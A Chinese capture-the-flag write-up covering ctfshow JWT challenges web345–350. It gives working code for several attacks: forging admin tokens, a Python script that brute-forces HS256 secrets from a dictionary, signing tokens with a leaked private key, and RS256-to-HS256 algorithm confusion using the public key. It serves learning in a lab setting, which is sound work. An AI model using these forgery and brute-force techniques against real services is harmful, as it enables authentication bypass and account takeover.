ctfshow_web入门_jwt

学习链接:

web345

cookie值是base64,直接base64解密,把user改为admin,然后再base64加密,放入cookie。

然后访问/admin/

web346

https://jwt.io/

把cookie值放到上面的网站里解码,把user改为admin,然后猜测秘钥是123456,把之后的base64的jwt传入cookie,然后访问/admin/

web347

使用pydictor,生成6位数字的字典

python .\pydictor.py -base d --len 1 6 -o nums.txt

然后跑脚本:

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-06 16:34:57
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-06 19:34:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import jwt
import json

def runblasting(path,jwt_str,alg):
    if alg == "none":
       alg = "HS256"
    with open(path,encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('use '+key_)
            try:
                jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    runblasting('nums.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3NjQ4MCwiZXhwIjoxNjI3ODgzNjgwLCJuYmYiOjE2Mjc4NzY0ODAsInN1YiI6InVzZXIiLCJqdGkiOiJjMGYzODkwMmE1ODE4ZjhlMjM5Yzg3N2EwNzZmNmU5MCJ9.o68KTTbu7V2enU4dXXASeJs6rJbNbVbLtoEqC_WMqBo','HS256')

得到key是123456,在 https://jwt.io/ 改admin,输入秘钥123456,然后发送cookie,访问/admin/

web348

生成1~4位的小写字母字典

python .\pydictor.py -base L --len 1 4 -o keys.txt

用上面的脚本,爆破得秘钥aaab

然后在网站换admin

web349

利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以了。
访问 /private.key 得到私钥
运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken –save)

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

修改cookie后post方式访问就可以得到flag

或者python代码得到jwt:

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

web350

访问/public.key获得公钥

将RS256算法改为HS256(非对称密码算法=>对称密码算法)

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)